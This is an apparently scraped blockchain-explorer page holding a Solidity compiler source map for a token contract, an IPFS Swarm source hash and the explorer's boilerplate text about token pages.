236:84;;18353:7;8145:6;;-1:-1:-1;;;;;8145:6:0;;8072:87;18353:7;-1:-1:-1;;;;;18345:15:0;:4;-1:-1:-1;;;;;18345:15:0;;;:32;;;;-1:-1:-1;8145:6:0;;-1:-1:-1;;;;;18364:13:0;;;8145:6;;18364:13;;18345:32;:52;;;;-1:-1:-1;;;;;;18381:16:0;;;;18345:52;:77;;;;-1:-1:-1;;;;;;18401:21:0;;18415:6;18401:21;;18345:77;:88;;;;-1:-1:-1;18427:6:0;;-1:-1:-1;;;18427:6:0;;;;18426:7;18345:88;18341:974;;;18461:10;;;;18456:147;;-1:-1:-1;;;;;18504:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;18533:23:0;;;;;;:19;:23;;;;;;;;18504:52;18496:87;;;;-1:-1:-1;;;18496:87:0;;9263:2:1;18496:87:0;;;9245:21:1;9302:2;9282:18;;;9275:30;-1:-1:-1;;;9321:18:1;;;9314:52;9383:18;;18496:87:0;9061:346:1;18496:87:0;-1:-1:-1;;;;;18627:31:0;;;;;;:25;:31;;;;;;;;:54;;;;-1:-1:-1;;;;;;18663:18:0;;;;;;:14;:18;;;;;;;;18662:19;18627:54;18623:677;;;18742:10;;18732:6;:20;;18724:76;;;;-1:-1:-1;;;18724:76:0;;9614:2:1;18724:76:0;;;9596:21:1;9653:2;9633:18;;;9626:30;9692:34;9672:18;;;9665:62;-1:-1:-1;;;9743:18:1;;;9736:41;9794:19;;18724:76:0;9412:407:1;18724:76:0;18857:13;;-1:-1:-1;;;;;9769:18:0;;9742:7;9769:18;;;;;;;;;;;18831:22;;:6;:22;:::i;:::-;:39;;18823:71;;;;-1:-1:-1;;;18823:71:0;;10026:2:1;18823:71:0;;;10008:21:1;10065:2;10045:18;;;10038:30;-1:-1:-1;;;10084:18:1;;;10077:49;10143:18;;18823:71:0;9824:343:1;18823:71:0;18623:677;;;-1:-1:-1;;;;;18943:29:0;;;;;;:25;:29;;;;;;;;:54;;;;-1:-1:-1;;;;;;18977:20:0;;;;;;:14;:20;;;;;;;;18976:21;18943:54;18939:361;;;19040:10;;19030:6;:20;;19022:77;;;;-1:-1:-1;;;19022:77:0;;10374:2:1;19022:77:0;;;10356:21:1;10413:2;10393:18;;;10386:30;10452:34;10432:18;;;10425:62;-1:-1:-1;;;10503:18:1;;;10496:42;10555:19;;19022:77:0;10172:408:1;18939:361:0;-1:-1:-1;;;;;19166:18:0;;;;;;:14;:18;;;;;;;;19161:139;;19243:13;;-1:-1:-1;;;;;9769:18:0;;9742:7;9769:18;;;;;;;;;;;19217:22;;:6;:22;:::i;:::-;:39;;19209:71;;;;-1:-1:-1;;;19209:71:0;;10026:2:1;19209:71:0;;;10008:21:1;10065:2;10045:18;;;10038:30;-1:-1:-1;;;10084:18:1;;;10077:49;10143:18;;19209:71:0;9824:343:1;19209:71:0;19376:4;19327:28;9769:18;;;;;;;;;;;19439:11;;;19467:18;;;;-1:-1:-1;19479:6:0;;-1:-1:-1;;;19479:6:0;;;;19478:7;19467:18;:54;;;;-1:-1:-1;;;;;;19490:31:0;;;;;;:25;:31;;;;;;;;19489:32;19467:54;:84;;;;-1:-1:-1;;;;;;19526:25:0;;;;;;:19;:25;;;;;;;;19525:26;19467:84;:112;;;;-1:-1:-1;;;;;;19556:23:0;;;;;;:19;:23;;;;;;;;19555:24;19467:112;19463:268;;;19596:6;:13;;-1:-1:-1;;;;19596:13:0;-1:-1:-1;;;19596:13:0;;;19624:16;19633:6;19624:8;:16::i;:::-;19655:35;19668:21;19655:12;:35::i;:::-;19705:6;:14;;-1:-1:-1;;;;19705:14:0;;;19463:268;19759:6;;19743:12;;-1:-1:-1;;;19759:6:0;;;;19758:7;:22;;;;;19770:10;19769:11;19758:22;-1:-1:-1;;;;;19797:25:0;;;;;;:19;:25;;;;;;19743:37;;-1:-1:-1;19797:25:0;;;:52;;-1:-1:-1;;;;;;19826:23:0;;;;;;:19;:23;;;;;;;;19797:52;19793:100;;;-1:-1:-1;19876:5:0;19793:100;19905:12;19938:7;19934:350;;;-1:-1:-1;;;;;19966:29:0;;;;;;:25;:29;;;;;;;;19962:193;;;20023:28;20047:3;20023:19;20034:7;;20023:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;20016:35;;19962:193;;;20112:27;20135:3;20112:18;20123:6;;20112;:10;;:18;;;;:::i;:27::-;20105:34;;19962:193;20171:8;;20167:85;;20196:44;20212:4;20226:6;20235:4;20196:15;:44::i;:::-;20262:14;20272:4;20262:14;;:::i;:::-;;;19934:350;20294:33;20310:4;20316:2;20320:6;20294:15;:33::i;:::-;17956:2379;;;;;17877:2458;;;:::o;8167:132::-;8145:6;;-1:-1:-1;;;;;8145:6:0;623:10;8231:23;8223:68;;;;-1:-1:-1;;;8223:68:0;;10787:2:1;8223:68:0;;;10769:21:1;;;10806:18;;;10799:30;10865:34;10845:18;;;10838:62;10917:18;;8223:68:0;10585:356:1;8627:191:0;8720:6;;;-1:-1:-1;;;;;8737:17:0;;;-1:-1:-1;;;;;;8737:17:0;;;;;;;8770:40;;8720:6;;;8737:17;8720:6;;8770:40;;8701:16;;8770:40;8690:128;8627:191;:::o;11365:675::-;-1:-1:-1;;;;;11496:18:0;;11488:68;;;;-1:-1:-1;;;11488:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11575:16:0;;11567:64;;;;-1:-1:-1;;;11567:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11717:15:0;;11695:19;11717:15;;;;;;;;;;;11751:21;;;;11743:72;;;;-1:-1:-1;;;11743:72:0;;11148:2:1;11743:72:0;;;11130:21:1;11187:2;11167:18;;;11160:30;11226:34;11206:18;;;11199:62;-1:-1:-1;;;11277:18:1;;;11270:36;11323:19;;11743:72:0;10946:402:1;11743:72:0;-1:-1:-1;;;;;11851:15:0;;;:9;:15;;;;;;;;;;;11869:20;;;11851:38;;11904:13;;;;;;;;;;:23;;;;;;11956:26;;160:25:1;;;11904:13:0;;11956:26;;133:18:1;11956:26:0;;;;;;;11995:37;17877:2458;21888:1396;21985:4;21941:23;9769:18;;;;;;;;;;;;22040:20;;;22036:59;;22077:7;;21888:1396;:::o;22036:59::-;22115:7;;22108:6;;:14;;;;:::i;:::-;22127:1;22107:21;22103:1130;;22164:1;22146:15;:19;:59;;;;;22187:18;;22169:15;:36;22146:59;22143:443;;;-1:-1:-1;17877:2458:0;;:::o;22143:443::-;22294:21;22318:28;22342:3;22318:19;22329:7;;22318:6;:10;;:19;;;;:::i;:28::-;22294:52;-1:-1:-1;22361:23:0;22294:52;22361:23;;:::i;:::-;;;22412:18;;22403:6;:27;22399:176;;;22466:18;;22451:33;;22399:176;;22103:1130;22640:1;22622:15;:19;:66;;;;-1:-1:-1;22663:18:0;;:25;;22686:1;22663:22;:25::i;:::-;22645:15;:43;22622:66;22619:607;;;22705:7;;21888:1396;:::o;22619:607::-;22760:1;22742:15;:19;:66;;;;-1:-1:-1;22783:18:0;;:25;;22806:1;22783:22;:25::i;:::-;22765:15;:43;22742:66;:106;;;;;22830:18;;22812:15;:36;22742:106;22738:488;;;22880:18;;:25;;22903:1;22880:22;:25::i;23296:102::-;23361:11;;23353:37;;-1:-1:-1;;;;;23361:11:0;;;;23353:37;;;;;23383:6;;23361:11;23353:37;23361:11;23353:37;23383:6;23361:11;23353:37;;;;;;;;;;;;;;;;;;;5868:98;5926:7;5953:5;5957:1;5953;:5;:::i;:::-;5946:12;5868:98;-1:-1:-1;;;5868:98:0:o;5974:::-;6032:7;6059:5;6063:1;6059;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:173::-;817:20;;-1:-1:-1;;;;;866:31:1;;856:42;;846:70;;912:1;909;902:12;846:70;749:173;;;:::o;927:254::-;995:6;1003;1056:2;1044:9;1035:7;1031:23;1027:32;1024:52;;;1072:1;1069;1062:12;1024:52;1095:29;1114:9;1095:29;:::i;:::-;1085:39;1171:2;1156:18;;;;1143:32;;-1:-1:-1;;;927:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:118::-;1986:5;1979:13;1972:21;1965:5;1962:32;1952:60;;2008:1;2005;1998:12;2023:315;2088:6;2096;2149:2;2137:9;2128:7;2124:23;2120:32;2117:52;;;2165:1;2162;2155:12;2117:52;2188:29;2207:9;2188:29;:::i;:::-;2178:39;;2267:2;2256:9;2252:18;2239:32;2280:28;2302:5;2280:28;:::i;:::-;2327:5;2317:15;;;2023:315;;;;;:::o;2343:186::-;2402:6;2455:2;2443:9;2434:7;2430:23;2426:32;2423:52;;;2471:1;2468;2461:12;2423:52;2494:29;2513:9;2494:29;:::i;2975:260::-;3043:6;3051;3104:2;3092:9;3083:7;3079:23;3075:32;3072:52;;;3120:1;3117;3110:12;3072:52;3143:29;3162:9;3143:29;:::i;:::-;3133:39;;3191:38;3225:2;3214:9;3210:18;3191:38;:::i;:::-;3181:48;;2975:260;;;;;:::o;3240:380::-;3319:1;3315:12;;;;3362;;;3383:61;;3437:4;3429:6;3425:17;3415:27;;3383:61;3490:2;3482:6;3479:14;3459:18;3456:38;3453:161;;3536:10;3531:3;3527:20;3524:1;3517:31;3571:4;3568:1;3561:15;3599:4;3596:1;3589:15;3453:161;;3240:380;;;:::o;3625:127::-;3686:10;3681:3;3677:20;3674:1;3667:31;3717:4;3714:1;3707:15;3741:4;3738:1;3731:15;3757:125;3822:9;;;3843:10;;;3840:36;;;3856:18;;:::i;5078:184::-;5148:6;5201:2;5189:9;5180:7;5176:23;5172:32;5169:52;;;5217:1;5214;5207:12;5169:52;-1:-1:-1;5240:16:1;;5078:184;-1:-1:-1;5078:184:1:o;5267:168::-;5340:9;;;5371;;5388:15;;;5382:22;;5368:37;5358:71;;5409:18;;:::i;5440:217::-;5480:1;5506;5496:132;;5550:10;5545:3;5541:20;5538:1;5531:31;5585:4;5582:1;5575:15;5613:4;5610:1;5603:15;5496:132;-1:-1:-1;5642:9:1;;5440:217::o;6016:128::-;6083:9;;;6104:11;;;6101:37;;;6118:18;;:::i;6428:245::-;6495:6;6548:2;6536:9;6527:7;6523:23;6519:32;6516:52;;;6564:1;6561;6554:12;6516:52;6596:9;6590:16;6615:28;6637:5;6615:28;:::i;8251:401::-;8453:2;8435:21;;;8492:2;8472:18;;;8465:30;8531:34;8526:2;8511:18;;8504:62;-1:-1:-1;;;8597:2:1;8582:18;;8575:35;8642:3;8627:19;;8251:401::o;8657:399::-;8859:2;8841:21;;;8898:2;8878:18;;;8871:30;8937:34;8932:2;8917:18;;8910:62;-1:-1:-1;;;9003:2:1;8988:18;;8981:33;9046:3;9031:19;;8657:399::o

Swarm Source

ipfs://82e436b9690c55ebc7408295543b25918dce6a3c26ca3ecdabe8becb8f7948af
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.